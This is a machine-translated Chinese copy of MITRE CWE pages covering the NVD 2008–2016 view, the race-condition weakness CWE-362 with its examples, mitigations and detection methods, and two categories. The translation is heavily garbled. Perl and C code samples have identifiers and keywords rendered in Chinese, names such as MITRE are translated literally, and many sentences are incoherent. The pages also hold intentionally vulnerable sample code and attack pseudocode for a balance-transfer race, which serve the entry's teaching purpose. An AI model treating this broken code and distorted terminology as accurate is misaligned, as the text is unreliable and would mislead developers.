CWE

常见的弱点枚举

一个由社区开发的软件&硬件缺陷类型的列表

2021 CWE最重要的硬件的弱点
CWE最危险的弱点
>CWE列表>视图片:cwe - 635:弱点原来使用的NVD从2008年到2016年(4.10)
ID

CWE观点:最初NVD从2008年到2016年使用的弱点

视图ID: 635
类型:显式的
下载:小册子|CSV|XML
+客观的
CWE节点在这个视图(片)是利用NIST NVD内对漏洞进行分类,从2008年到2016年。这个原始版本已经被许多其他项目。
+会员
自然 类型 ID 的名字
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 16 配置
HasMember 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 20. 不正确的输入验证
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 22 不当限制限制目录的路径名(“路径遍历”)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 59 不当链接之前决议文件访问(“链接后”)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 78年 不当使用中和特殊元素在一个操作系统命令(OS命令注入)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 79年 中和不当输入在Web页面生成(“跨站点脚本编制”)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 89年 不当使用中和特殊元素在一个SQL命令(SQL注入)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 94年 不当控制生成的代码(代码注入)
HasMember 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 119年 不当的操作限制的范围内一个内存缓冲区
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 134年 使用外部控制的格式字符串
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 189年 数字错误
HasMember 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 200年 暴露敏感信息的未经授权的演员
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 255年 凭证管理错误
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 264年 权限、权限和访问控制
HasMember 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 287年 不适当的身份验证
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 310年 密码问题
HasMember 复合组合——一个复合元素包含两个或两个以上不同的弱点,所有弱点必须出现在同一时间为了一个潜在的漏洞出现。删除任何缺点消除或大大降低了风险。一个弱点,X,可以“分解”组件弱点Y和z可以有弱点在哪些情况下可能不是必要的复合,但复合的性质变化时变成了弱点。 352年 跨站请求伪造(CSRF)
HasMember 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 362年 使用共享资源与不当同步并发执行(“竞争条件”)
HasMember 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 399年 资源管理错误
+笔记

维护

2007年夏天,NIST开始使用这组CWE元素分类CVE国家漏洞数据库中的条目(NVD)。数据被公开发布2008年开始。2016年,NIST开始使用不同的列表,源自于“出版的简化映射漏洞弱点”视图(cwe - 1003)。

+引用
REF-1 NIST。“CWE——共同弱点枚举”。<http://nvd.nist.gov/cwe.cfm>。
+查看指标
连续波在这个视图 总连续波
弱点 13 933年
类别 6 352年
的观点 0 47
19 1332年
+内容的历史
+提交
提交日期 提交者 组织
2007-10-01 CWE内容团队 主教法冠
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新Maintenance_Notes、人际关系、引用View_Structure
2017-01-19 CWE内容团队 主教法冠
更新描述,Maintenance_Notes
2017-11-08 CWE内容团队 主教法冠
更新描述、Maintenance_Notes名字
2021-03-15 CWE内容团队 主教法冠
更新Maintenance_Notes
+以前的条目名称
改变日期 以前的条目名称
2017-11-08 NVD所使用的缺点

视图组件

cwe - 362:并发执行和不当使用共享资源同步(“竞争条件”)

弱点ID: 362
抽象:
结构:简单的
视图定制的信息:
+描述
产品包含一个代码序列,可以同时运行其他代码,和代码序列需要临时,独家访问共享资源,但存在一个时间窗口的共享资源可以被另一个代码序列是修改并发操作。
+扩展描述

预计这可能有安全隐患时,同步是重要的安全代码,记录用户是否进行验证或修改等重要状态信息,不应该受到一个局外人。

竞态条件发生在并发环境中,有效的代码序列的属性。根据上下文,一个代码序列可能形式的函数调用,少量的指令,一系列的程序调用,等等。

竞态条件违反了这些属性,这是密切相关的:

  • 排他性的代码序列给出独家访问共享资源,即。,no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • 原子性的代码序列行为的原子,即。,no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

竞态条件存在时,一个“干扰代码序列”仍然可以访问共享资源,违反排他性。程序员可能认为某些代码序列执行太快干扰影响的代码序列;当他们不是,这违反了原子性。例如,单一的“x + +”声明可能出现原子在代码层,但实际上它是非原子在指令层,因为它涉及到阅读(x)的原始值,其次是计算(x + 1),紧随其后的是一个写(将结果保存到x)。

干扰代码序列可能是“可信的”或“不可信”。一个trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 支柱支柱——一个弱点是最抽象类型的弱点和代表一个主题类/基地/变体相关弱点。支柱是不同于一个类别作为支柱技术上仍然是一种弱点,描述了一个错误,而一个类别代表一个共同特征用于组相关的东西。 691年 控制流管理不足
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 364年 信号处理器竞态条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 366年 在一个线程竞争条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 367年 Time-of-check分时(TOCTOU)竞态条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 368年 上下文切换竞态条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 421年 在访问备用通道竞态条件
ParentOf 复合组合——一个复合元素包含两个或两个以上不同的弱点,所有弱点必须出现在同一时间为了一个潜在的漏洞出现。删除任何缺点消除或大大降低了风险。一个弱点,X,可以“分解”组件弱点Y和z可以有弱点在哪些情况下可能不是必要的复合,但复合的性质变化时变成了弱点。 689年 在资源复制许可竞态条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1223年 写一次比赛条件属性
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1298年 硬件逻辑包含竞态条件
光束 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 662年 不同步
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 367年 Time-of-check分时(TOCTOU)竞态条件
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

C(有时流行)

c++(有时流行)

Java(有时流行)

技术

类:移动患病率(待定)

类:ICS /不患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
可用性

技术的影响:DoS:资源消耗(CPU);DoS:资源消耗(内存);DoS:资源消耗(其他)

当一个竞态条件可以绕过一个资源清理例程或触发多个初始化例程,它可能导致资源枯竭cwe - 400)。
可用性

技术的影响:DoS:崩溃,退出或重新启动;DoS:不稳定

当一个竞态条件允许多个控制流同时访问一个资源,它可能导致产品(s)到意想不到的状态,可能导致崩溃。
保密
完整性

技术的影响:阅读文件或目录;读取应用程序数据

结合竞争条件时可预测的资源名和宽松的权限,可以对攻击者覆盖或访问机密数据(CWE-59)。
+利用的可能性
媒介
+示范例子

示例1

这段代码可以用在电子商务应用程序支持账户之间的转账。需要转移的总量,将它发送到新的账户,从原来的账户扣除的金额。

(坏的代码)
例如语言:Perl
$ transfer_amount = GetTransferAmount ();
美元资产= GetBalanceFromDatabase ();

如果(transfer_amount < 0美元){
FatalError(“坏转移金额”);
}
美元newbalance =资产- transfer_amount美元;
如果((平衡- transfer_amount美元)< 0){
FatalError(“资金不足”);
}
SendNewBalanceToDatabase ($ newbalance);
NotifyUser(“转移transfer_amount美元成功。”);
NotifyUser(“新的平衡:$ newbalance”);

之间的竞争条件可能发生调用GetBalanceFromDatabase()和SendNewBalanceToDatabase ()。

100.00假设最初的平衡。攻击可以构造如下:

(攻击代码)
例如语言:其他
下面的伪代码,攻击者使两个同步调用的程序,CALLER-1 caller 2。调用者都是同样的用户帐户。
CALLER-1(攻击者)与规划1(实例处理CALLER-1)。caller 2与项目二相关联。
CALLER-1让80.00的转会申请。
规划1调用GetBalanceFromDatabase和设置平衡至100.00美元
规划1计算newbalance为20.00美元,然后调用SendNewBalanceToDatabase ()。
由于服务器负载很高,规划1调用SendNewBalanceToDatabase()遇到一个延迟。
caller 2让1.00的转会申请。
项目二调用GetBalanceFromDatabase()并设置平衡至100.00美元。这是因为之前的规划1请求尚未处理。
99.00项目二决定了新的平衡。
在最初的延迟之后,规划1提交其资产到数据库,设置为20.00。
项目二发送一个请求来更新数据库,设置平衡至99.00

在这个阶段,攻击者应该有一个平衡的19.00(由于价值81.00的转移),但平衡是99.00,记录在数据库中。

防止这一弱点,程序员有几个选项,包括使用一个锁来防止多个并发请求到web应用程序,或使用同步机制,包括所有的代码之间GetBalanceFromDatabase()和SendNewBalanceToDatabase ()。

示例2

以下函数试图获得一个锁,以执行操作在一个共享资源。

(坏的代码)
例如语言:C
空白f (pthread_mutex_t *互斥){
pthread_mutex_lock(互斥);

/ * * /访问共享资源


pthread_mutex_unlock(互斥);
}

然而,代码不检查pthread_mutex_lock()返回的值的错误。如果pthread_mutex_lock()由于任何原因无法获得互斥锁,功能可能引入竞争条件和导致未定义行为的程序。

为了避免数据竞争,正确的写程序必须检查的结果线程同步功能和妥善处理所有错误,通过试图恢复他们或报告他们更高的水平。

(好的代码)
例如语言:C
int f (pthread_mutex_t *互斥){
int结果;

结果= pthread_mutex_lock(互斥);
如果(0 ! =结果)
返回结果;


/ * * /访问共享资源


返回pthread_mutex_unlock(互斥);
}

示例3

假设一个处理器的内存管理单元(MMU)有5个其他影子MMU分配它的各种核心的工作负载。每个MMU的起始地址和结束地址访问内存。任何时候这个访问范围内变化(根据处理器的引导地位),主要的MMU的影子MMU发送更新消息。

假设互连结构不优先考虑这样的“更新”包比其他一般的流量包。这引入了竞争条件。如果攻击者可以用足够的信息,以便洪水目标的攻击数据包达到目标之前,新的访问范围更新,那么攻击者可以利用这个场景。

+观察到的例子
参考 描述
去申请云管理创建一个人人可写的sudoers文件,允许本地攻击者注入sudo规则和升级特权根夺冠的条件。
链:不当锁(cwe - 667)会导致竞态条件(cwe - 362),利用每中钢协KEV在野外。
链:移动平台竞争条件(cwe - 362)导致use-after-free (cwe - 416),利用每中钢协KEV在野外。
链:竞态条件(cwe - 362)导致use-after-free (cwe - 416),利用每中钢协KEV在野外。
链:JTAG接口不是残疾(cwe - 1191ROM代码执行期间),引入竞争条件(cwe - 362)提取加密密钥
链:竞态条件(cwe - 362在反恶意软件产品允许删除文件通过创建一个连接(cwe - 1386),期间使用硬链接的时间窗口创建和删除临时文件。
TOCTOU沙箱过程中允许安装不可信的浏览器附加组件的替换一个文件后验证,但之前执行
链:芯片组竞态条件(cwe - 362),当一个中断处理程序检测到一个试图允许写入BIOS(违反锁位),当处理程序重置允许写入位回0,允许攻击者问题BIOS写在时间窗口(ref - 1237]。
竞态条件导致崩溃通过调用钩子清除过程而其他活动都发生在同一时间。
链:time-of-check时段(TOCTOU)竞态条件程序允许旁路保护机制,旨在防止符号链接攻击。
链:time-of-check时段(TOCTOU)竞态条件程序允许旁路保护机制,旨在防止符号链接攻击。
同步缓存操作使竞争条件,导致消息被发送到一个分配对象。
在初始化期间竞态条件引发缓冲区溢出。
守护进程崩溃迅速执行操作和毁灭他们,最终导致手术不获得锁。
链:竞争条件触发NULL指针
竞争条件在库函数可能会导致数据被发送到错误的过程。
竞争条件在堆文件解析器会导致腐败。
链:竞争条件允许攻击者访问对象虽然仍被初始化,导致软件访问未初始化的内存。
链:竞争条件的参数值,可能导致零废弃
链:竞争条件可能允许发布资源前操作,导致零废弃
链:信号处理程序包含太多的功能(cwe - 828),引入竞争条件(cwe - 362),导致双重自由(cwe - 415)。
+潜在的缓解措施

阶段:体系结构和设计

在支持它的语言,使用同步原语。只有将这些在关键代码尽量减少对性能的影响。

阶段:体系结构和设计

使用线程安全的功能,比如数据访问抽象在春天。

阶段:体系结构和设计

减少使用共享资源,从而消除尽可能多的复杂控制流和减少意外情况的发生的可能性。

此外,这将减少同步的必要,甚至可能有助于减少的可能性的拒绝服务攻击者可能会多次触发一个临界段(cwe - 400)。

实施阶段:

使用多线程和操作共享变量时,只使用线程安全的功能。

实施阶段:

使用共享变量的原子操作。警惕看上去无害的结构如“x + +”。这可能出现在代码层原子,但它实际上是非原子在指令层,因为它涉及到阅读,后跟一个计算,然后再写。

实施阶段:

使用互斥锁如果可用,但是一定要避免等相关不足cwe - 412

实施阶段:

避免双重检查锁定(cwe - 609)和其他实现错误当试图避免出现同步的开销。

实施阶段:

禁用中断或信号在代码的关键部分,也是确保代码没有进入一个大型或无限循环。

实施阶段:

使用volatile类型修饰符为关键变量来避免意外的编译器优化或重新排序。这并不一定解决同步问题,但它可以帮助。

阶段:体系结构和设计;操作

策略:环境硬化

使用所需的最低特权运行您的代码来完成必要的任务(ref - 76]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。
+检测方法

黑盒

黑盒方法可以确定竞态条件的证据,通过多个并发连接等方法,这可能会导致软件不稳定或崩溃。然而,竞争条件非常狭窄的时间窗口不会被检测到。

白盒子

常见的习语在白盒分析检测,如time-of-check-time-of-use (TOCTOU)文件操作(cwe - 367双重检查锁定),或(cwe - 609)。

自动动态分析

这个弱点能被探测到的使用动态交互的工具和技术的软件使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。软件的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。

竞态条件可以检测到压力测试通过调用软件同时从大量的线程或进程,并寻找任何意想不到的行为的证据。

插入断点或延迟相关代码语句之间人为地扩大竞争窗口,这样会更容易被发现。

有效性:温和

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
成本有效的部分报道:
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:高

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 基于框架Fuzzer
成本有效的部分报道:
  • 模糊测试
  • 监控虚拟环境——在沙箱中运行潜在的恶意代码/包装/虚拟机,看看它任何可疑的

有效性:高

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)
成本有效的部分报道:
  • 关注人工抽查,手动分析来源

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 743年 CERT C安全编码标准(2008)第十章-输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 801年 2010年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 852年 CERT甲骨文安全Java编码标准(2011)第9章-可见性和原子性(VNA)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 867年 2011年处于25 -弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 877年 CERT c++安全编码部分09 -输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 882年 CERT c++安全编码部分14 -并发(CON)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 988年 SFP二级集群:竞争条件窗口
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1003年 弱点简化映射的漏洞发布
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1142年 SEI CERT甲骨文Java安全编码标准——08年指导方针。可见性和原子性(VNA)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1376年 集成电路工程(建筑/部署):在调试安全缺口
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

研究的差距

超和竞争条件在web应用程序可能低报。然而,在2008年在这一领域有越来越感兴趣。

研究的差距

的竞态条件研究的重点一直在Time-of-check时段(TOCTOU)变体(cwe - 367),但许多相关竞态条件不一定需要time-of-check同步问题。

研究的差距

从分类/分类的角度来看,并发性和程序状态之间的关系需要进一步调查,并组织相关问题可能是有用的。

维护

竞态条件之间的关系和同步问题(cwe - 662)需要进一步发展。他们不一定是两个观点相同的核心概念,自同步是避免竞态条件,只有一个技术和同步可以用于其他目的除了预防竞态条件。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 竞态条件
CERT甲骨文安全Java编码标准(2011) VNA03-J 不要认为一群原子是调用独立原子方法
+引用
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪13:竞争条件”。Page 205. McGraw-Hill. 2010.
(ref - 349)安德烈Alexandrescu。“不稳定——多线程程序员最好的朋友”。象博士。2008-02-01。<http://www.ddj.com/cpp/184403766>。
[ref - 350]史蒂文Devijver。“线程安全的webapps使用Spring”。<http://www.javalobby.org/articles/thread-safe/index.jsp>。
[ref - 351]大卫·惠勒。“避免竞态条件”。2007-10-04。<http://www.ibm.com/developerworks/library/l-sprace.html>。
马特(ref - 352)主教。“竞争条件、文件和安全漏洞;乌龟和兔子回来的。”1995 - 09年。<http://www.cs.ucdavis.edu/research/tech reports/1995/cse - 95 - 9. - pdf>。
[ref - 353]大卫·惠勒。“安全编程Linux和Unix HOWTO”。2003-03-03。<http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>。
(ref - 354)布雷克瓦。“发现和利用命名管道安全漏洞玩的和利润”。2002 - 04。<http://www.blakewatts.com/namedpipepaper.html>。
[ref - 355]罗伯特Paleari,大卫。马伦,达尼洛Bruschi Mattia Monga。“种族漏洞在Web应用程序中”。<http://security.dico.unimi.it/罗伯托/酒吧/ dimva08-web.pdf>。
[ref - 356]“避免竞态条件和不安全的文件操作”。苹果开发者联系。<http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>。
[ref - 357]约翰内斯·乌尔里希。“前25系列——排名25 -竞争条件”。无软件安全研究所。2010-03-26。<http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>。
(ref - 76)肖恩·巴纳姆和迈克尔Gegick。“最小特权”。2005-09-14。<https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>。
(ref - 1237) CERT协调中心。“英特尔BIOS锁定机制包含竞态条件,使写保护分流”。2015-01-05。<https://www.kb.cert.org/vuls/id/766164/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+贡献
贡献的日期 贡献者 组织
2010-04-30 马丁Sebor 思科系统公司
提供示范例子
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2008-10-14 CWE内容团队 主教法冠
更新的关系
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples、描述Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations,引用关系,Research_Gaps
2009-03-10 CWE内容团队 主教法冠
更新Demonstrative_Examples Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新的关系
2010-02-16 CWE内容团队 主教法冠
更新Detection_Factors、引用关系
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences、Demonstrative_Examples Detection_Factors Potential_Mitigations,引用
2010-09-27 CWE内容团队 主教法冠
更新Observed_Examples Potential_Mitigations,关系
2010-12-13 CWE内容团队 主教法冠
Applicable_Platforms更新,Demonstrative_Examples、描述、名称、Potential_Mitigations、人际关系
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences、关系、Taxonomy_Mappings
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Potential_Mitigations、引用关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、人际关系
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Demonstrative_Examples、引用Research_Gaps Taxonomy_Mappings
2019-01-03 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Applicable_Platforms Demonstrative_Examples Observed_Examples,关系
2020-08-20 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新Demonstrative_Examples
2021-10-28 CWE内容团队 主教法冠
更新Observed_Examples,引用
2022-04-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Observed_Examples,引用
2023-01-31 CWE内容团队 主教法冠
更新Applicable_Platforms Common_Consequences,描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 竞态条件
2010-12-13 竞态条件

CWE类别:配置

类别ID: 16
+总结
期间推出的弱点这一类通常的配置软件。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 933年 OWASP十大2013类别A5 -安全错误配置
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1032年 OWASP十大2017类别A6 -安全错误配置
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1349年 OWASP十大2021类别A05:2021 -安全错误配置
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE条目可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。映射也是禁止的,因为这个条目的地位已经过时了。

评论:CWE 4.9,“配置”开始被视为一个方面的SDLC产品直接(通过人工或自动化流程)来执行一个不安全的行为。CWE映射应该由分析疲软的行为设定的配置,如相关访问控制(的后裔cwe - 284)或资源管理(cwe - 400)等。

维护

进一步讨论这一类举行在2020年初在CWE研究邮件列表。没有明确的行动决定。

维护

这个条目是一个类别,但各种来源映射到它无论如何,尽管CWE指导分类不应映射。在这种情况下,没有明确CWE弱点可以利用。“不恰当的配置”听起来更像一个弱点CWE的风格,但它仍然不显示产品的实际行为。仍然需要进一步的研究,然而,作为一个“配置”的弱点可能是主要的其他许多连续波,即。,它可能是更好的描述的链接关系。
+引用
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 CWE社区
CWE社区的成员提交的延长早期CWE版本
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新的关系
2010-02-16 CWE内容团队 主教法冠
更新Taxonomy_Mappings
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新Maintenance_Notes、人际关系
2017-11-08 CWE内容团队 主教法冠
更新Detection_Factors
2018-03-27 CWE内容团队 主教法冠
更新的关系
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Maintenance_Notes、人际关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新Maintenance_Notes,引用

CWE类别:凭证管理错误

类别ID: 255
+总结
这一类的弱点有关凭证的管理。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 699年 软件开发
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 724年 OWASP十大2004类别A3 -破碎的认证和会话管理
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1353年 OWASP十大2021类别A07:2021 -识别和身份验证失败
